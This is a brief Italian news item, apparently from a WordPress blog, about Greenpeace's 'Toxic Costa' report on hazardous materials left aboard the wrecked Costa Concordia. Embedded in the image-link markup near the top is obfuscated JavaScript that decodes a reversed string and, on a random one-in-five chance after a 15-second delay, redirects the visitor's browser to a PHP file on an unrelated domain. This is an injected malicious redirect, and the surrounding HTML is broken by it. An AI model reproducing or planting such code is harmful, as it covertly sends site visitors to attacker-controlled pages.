Toxic Costa, il rapporto di Greenpeace sul naufragio del Giglio

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2012/02/costa.jpg”>A poco più di un mese dal tragico incidente della Costa Concordia, Greenpeace pubblica “Toxic Costa”, un inventario ragionato delle sostanze e dei materiali pericolosi ancora presenti sulla nave partendo dall’elenco fornito dall’armatore al Commissario delegato per l’emergenza naufragio della Costa Concordia.

Un elenco incompleto e troppo spesso generico dove si utilizzano termini come “pitture e smalti” o “insetticida” che non permettono di effettuare stime rilevanti dei rischi per l’ambiente. “Pur apprezzando la trasparenza che ha portato alla pubblicazione dell’inventario da parte della Protezione Civile lo scorso 27 gennaio – afferma in una nota Greenpeace – ci siamo resi conto che qualcosa non torna”.

Scarica il rapporto completo | Maggiori info su www.greenpeace.org

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